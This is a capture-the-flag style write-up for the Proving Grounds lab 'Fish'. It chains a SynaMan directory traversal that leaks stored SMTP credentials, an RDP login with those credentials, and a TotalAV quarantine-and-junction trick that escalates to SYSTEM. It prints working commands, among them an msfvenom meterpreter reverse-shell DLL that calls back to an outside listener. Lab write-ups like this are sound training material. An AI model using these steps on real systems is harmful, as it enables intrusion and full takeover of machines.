Fish

Writeup for Fish from offsec Proving Grounds

Information Gathering

sudo ./nmapAutomator.sh 192.168.76.168 all

Service Enumeration

HTTP (Port 4848)

We are greeted with the admin server login. We tried different default login credentials but it all does not work.

HTTP (Port 6060)

Seems like this is running SynaMan 4.0. Default credentials also doesn't not seem to work for this one.

Exploit

From our initial service enumeration, we found out the following exploits.

We can verify that this directory traversal exploit is indeed working by doing initial tests.

Great, it is working.

We can make use of the directory traversal to view the contents in C:\SynaMan\config\AppConfig.xml which stores SMTP credentials.

We set our file path to the following and run the scanner again:

/SynaMan/config/AppConfig.xml

Take note under the smtpUser and smtpPassword fields, the username, and password is arthur:KingOfAtlantis.

We can then use the following command to RDP into the target machine.

xfreerdp /u:arthur /p:KingOfAtlantis /v:192.168.76.168

Privesc

There appears to be an application TotalAV on the desktop.

Let's do the following:

  1. Plant the malicious file in this case we use DLL file

  2. To exploit the vulnerability antivirus must detect the malicious DLL

  3. Move it to quarantine.

  4. The attacker must create an NTFS directory junction to restore

We can generate our DLL file using the following command:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.49.76 lport=443 -f dll > version.dll

Next, we need a tool to help with the directory junction.

In here contains CreateMountPoint.exe which can create the directory links.

Next, we can transfer our files to the target machine.

Next, we make a directory \mount\ and move version.dll into it.

We can then make a custom scan in TotalAV and scan our malicious file.

Great, TotalAV has detected the file and we can set our action to quarantine and click remove threats.

After version.dll is in quarantine, we can use CreateMountPoint.exe to link the mount directory to another location. In this case, we mount the directory to the .NET Framework location on this system.

.\CreateMountPoint.exe "C:\Users\arthur\Downloads\mount" "C:\Windows\Microsoft.NET\Framework\v4.0.30319"

We can then use Metasploit to receive our reverse shell connection.

The DLL needs to be loaded by a system process, so we reboot the target machine. After which, we receive a connection to our Metasploit listener and we get SYSTEM.

Last updated